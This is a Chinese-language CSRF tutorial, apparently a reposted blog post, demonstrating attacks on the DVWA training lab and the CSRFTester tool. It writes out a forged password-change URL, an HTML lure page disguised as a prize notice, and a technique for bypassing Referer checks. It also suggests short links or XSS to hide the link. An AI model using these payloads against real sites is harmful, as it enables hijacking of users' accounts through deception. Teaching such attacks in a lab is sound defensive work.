一、CSRF 原理
**1、CSRF 漏洞的定义 **
CSRF(Cross-site request forgery,跨站请求伪造)也被称为 One Click Attack(单键攻击)或
者 Session Riding,通常缩写为 CSRF 或者 XSRF。
forgery [ˈfɔːdʒəri] 伪造 ; Riding [ˈraɪdɪŋ] 驾驭马匹;骑马
**2、XSS 与 CSRF 的区别 **
1、XSS 利用用户对站点的信任,盗取 Cookie;
2、CSRF 通过伪装成受信任用户请求,利用站点对己经身份认证的信任,访问网站。
与 XSS 攻击相比,CSRF 攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比 XSS 更具危险性。
**3、CSRF 的简单理解 **
假设用户已经保存某网站的登录信息,下次登录不需要认证,此时黑客构造一个访问该站点的链接并添加如:修改密码、转账等操作的参数,用户点击链接后,黑客构造的参数被执行。这就是最简单的CSRF 攻击方式。
CSRF 攻击流程图如下:
二、基于 DVWA 的 low 级别演示 CSRF 攻击
1、查看源代码
代码中没有任何的过滤。参数直接传递到了$pass_new 和$pass_conf 中并带入数据库中执行。但是带入数据库中执行时通过 mysql 的函数对 sql 语句进行了过滤,不过并不影响我们正常的修改密码操作。
2、构造 URL 链接
我们将参数和完整的 URL 拼接起来。伪造一个改用户密码的请求链接,如下:**http://192.168.1.103//DVWA-master/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change **
注:只要用户访问这个链接,就可以把用户的密码改为 12345
3、验证 CSRF 攻击
使用其他用户登录,访问我们构造的链接
**如何诱导用户访问我们这个 CSRF 链接? **
*可以通过 XSS 漏洞,进行页面跳转,实现 CSRF 攻击。也可以通过短连接来伪装 URL 的明显特征。***当用户点了我们的 CSRF 链接后,就可以将用户的密码改成 123456 了。 **
**4、构造恶意链接 **
**构造恶意链接,诱导用户点击 **
**└─# cd /var/www/html/ **
**└─# vim csrf.html **
**#插入以下代码 **
**<html> **
**<head> **
**<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> **
**<title>恭喜你中奖了</title> **
**</head> **
**<body> **
**<a href='**http://192.168.1.105/DVWA
**master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change **
=Change**'>点击这里领取百万大奖 **
**</body> **
**</html> **
**代码解释:用户点击领取百万大奖跳转到我们构造好的链接将密码修改回 **password
5、短连接介绍
*新浪短连接:***http://sina.lt/ **
注:通过短连接来隐藏真实 URL 的方式必须是目标在公网提供服务的场景****。
三、基于 DVWA 的 Medium 级别演示 CSRF 攻击
1、查看源代码
**代码中使用 ****stripos 函数对 HTTP Referer 进行了校验。 **
**referer 推荐人 **
**HTTP Referer 是 header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 **
*Referer,告诉服务器我是从哪个页面链接过来的*,服务器基此可以获得一些信息用于处理。 **
**在 PHP 中使用 $_SERVER['HTTP_REFERER'] 获取页面提交请求中的 Referer 值。 **
**抓包查看 referer 内容效果: **
例如:
<?php if(stripos($_SERVER['HTTP_REFERER'], $_SERVER[ 'SERVER_NAME' ]) !== false) { 条件成功,说明此网址是从本网站,跳转过来的的。 } else { 判断失败,说明此网址不是从本网站,跳转过来的。 } ?>2、直接修改密码和通过其他页面提交请求的区别
抓取两种不同方式的 HTTP 请求
例 1:抓取正常修改密码的 HTTP 请求
**Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/ **
**注:抓完以后点击 Drop 丢弃请求,否则密码就修改成功了,我们还需要再次修改页面代码。 **
例 2:抓取通过其他页面传入参数的请求
**http://192.168.1.53/csrf.html **
Referer: http://192.168.1.53/csrf.html
注:这里也选择丢弃,我们只需记录 Referer 信息即可
对比 Referer 信息
原始:Referer: http://192.168.1.105/DVWA-master/vulnerabilities/csrf/
伪造:Referer: http://192.168.1.53/csrf.html
我们可以看到,伪造的请求并不符合代码中对 Referer 信息的过滤。在伪造的链接中找不到
$_SERVER[ 'SERVER_NAME' ] ,即找不到 192.168.1.105 这个 IP 地址。
**怎么样能让你的 url 中有一个 ip 地址或者域名? **
**3、绕过 Referer 过滤 **
我们通过修改网站目录结构,来让 Referer 满足过滤规则。
新建一个目录,目录的名字是: 192.168.1.105 。路径: /var/www/html/192.168.1.105
└─# mkdir 192.168.1.105
└─# mv csrf.html 192.168.1.105/
修改文件权限
└─# chown www-data:www-data 192.168.1.105/ -R
修改 Referer 策略
现在浏览器默认 Referrer Policy: strict-origin-when-cross-origin
使用该策略跳转到其它站点时 referer 会被降级处理,不携带 URI 部分,仅保留主机名。
预期:http://192.168.1.53/192.168.1.105/csrf.html
手工指定 Referer 策略。
└─# vim 192.168.1.105/csrf.html
<html> <head> <meta name="referrer" content="no-referrer-when-downgrade"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>恭喜你中奖了</title> </head> <body><a href='http://192.168.1.105/DVWA
master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change
=Change' referrer="no-referrer-when-downgrade">点击这里领取百万大奖
</body> </html>
添加 meta 标签 name=referrer content=Referer 策略
在需要指定 Referer 策略的标签中指定 referrer 策略,策略值为 content 中预设的策略。
访问:http://192.168.1.53/192.168.1.105/csrf.html
密码修改成功。
四、使用 CSRFTester 进行自动化探测 CSRF 漏洞
**1、探测的目的 **
探测的目的是:探测 web 应用程序是否具有防止 CSRF 的措施**。 **
如果 Web 应用程序的 HTTP 请求中没有对应的预防措施,那么很大程度上就确定存在 CSRF 漏洞。
**2、自动化探测工具介绍 **
CSRFTester 是一款 CSRF 漏洞的测试工具。
CSRFTester 工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改过的测试请求,成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。
**步骤如下 **
**(1)、设置浏览器代理:127.0.0.1:8008 **
*(2)、登录 Web 应用程序,提交表单,在 CSRF 工具中修改表单内容,查看是否更改,如果更改表*单存在 CSRF 漏洞。 **
*(***3)、生产 POC 代码。 **
扩展:POC 测试,即 Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根
据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承
载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和
平台的承载能力和性能变化。
**1、启动 CSRFTester **
需要安装 JDK8
**开始录制 **
提交一个表单
停止录制
![](https://img-blog.csdnimg.cn/5f4d852e362145e4bcd9defa7ec2637e.png)
修改表单内容
生成 html 文件
*表单内容仅保留方框中*我们提交的信息,其他内容一律删除,然后保存退出 **
访问此页面
**表单内容成功提交 **
*工具可以记录并修改表单内容然后生成页面 POC 文件,然后进行提交,***如果能够提交成功则存在 **
**CSRF 漏洞。 **
版权归原作者 whhc 所有, 如有侵权,请联系我们删除。